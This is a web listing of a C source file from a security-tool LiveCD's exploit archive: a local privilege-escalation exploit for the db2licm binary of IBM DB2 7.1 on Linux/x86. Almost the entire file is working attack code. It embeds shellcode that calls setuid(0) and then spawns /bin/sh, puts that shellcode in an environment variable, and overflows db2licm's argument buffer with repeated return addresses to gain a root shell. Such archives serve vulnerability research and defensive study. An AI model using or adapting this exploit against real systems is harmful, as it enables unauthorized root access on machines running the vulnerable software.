home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / db2 / IBM-DB2-db2licm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  109 lines

  1. /* 
  2.     Local Exploit for db2licm 
  3.     IBM db2 v 7.1 Linux/x86 
  4.  
  5.     vulnerability researched by 
  6.     Juan Manuel Pascual Escriba
  7.     04/08/2003 Barcelona - Spain
  8.     pask@uninet.edu
  9.  
  10.     http://concepcion.upv.es/~pask
  11.  
  12.    
  13.  */
  14.  
  15.  
  16.  
  17. char sc[]=
  18. "\x31\xc0"      /* begin setuid (0) */
  19. "\x31\xdb"
  20. "\xb0\x17"
  21. "\xcd\x80"
  22.  
  23. "\xeb\x1f"
  24. "\x5e"
  25. "\x89\x76\x08"
  26. "\x31\xc0"
  27. "\x88\x46\x07"
  28. "\x89\x46\x0c"
  29. "\xb0\x0b"
  30. "\x89\xf3"
  31. "\x8d\x4e\x08"
  32. "\x8d\x56\x0c"
  33. "\xcd\x80"
  34. "\x31\xdb"
  35. "\x89\xd8"
  36. "\x40"
  37. "\xcd\x80"
  38. "\xe8\xdc\xff\xff\xff"
  39. "/bin/sh";
  40.  
  41.  
  42. #define STACK_TOP_X86 0xC0000000
  43. #define ALG_MASK 0xfffffff4
  44. #define ADDR 1000
  45. #define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
  46.  
  47. #define DFL_ALG 4       
  48.  
  49. int main(int arc, char **arv){
  50.         char *argv[3];
  51.         char *envp[2];
  52.         unsigned long sc_address, ba=0;
  53.         unsigned char alg = DFL_ALG;
  54.         unsigned long *p;
  55.         unsigned char *q;
  56.         unsigned int i;
  57.  
  58.  
  59.  
  60.         sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
  61.         printf("shellcode address = 0x%X\n",sc_address);
  62.  
  63.  
  64.         if( (sc_address & ALG_MASK) != sc_address ) {
  65.                 ba = sc_address - (sc_address & ALG_MASK);
  66.                 printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
  67. sc_address & ALG_MASK);
  68.                 sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
  69.                 printf("new shellcode address = 0x%X\n",sc_address);
  70.         }
  71.  
  72.         envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
  73.         q = envp[0];
  74.         strcpy(q,"pete=");
  75.         q += strlen("pete=");
  76.         memcpy(q,sc,sizeof(sc));
  77.         q += sizeof(sc)-1;
  78.         memset(q,'A',ba);
  79.         q += ba;
  80.         *q = 0;
  81.         envp[1] = 0;
  82.  
  83.         /* build overflowing arvg[2] */
  84.  
  85.  
  86.         printf("using alignment = %d in overflow buffer\n",alg);
  87.  
  88.         argv[0] = DB2LICM;
  89.     argv[1] = "-a";
  90.         argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
  91.         memset(argv[2],'A',alg);
  92.         p=(unsigned long*)(argv[2]+alg);
  93.         for(i=0;i<ADDR;i++) {
  94.                 *p = sc_address;
  95.                 p++;
  96.         };
  97.         *p = 0;
  98.         argv[3] = 0; 
  99.  
  100.         printf("executing %s ...\n\n",argv[0]);
  101.         execve(argv[0],argv,envp); 
  102.  
  103.  
  104. }
  105.  
  106.  
  107.  
  108.  
  109.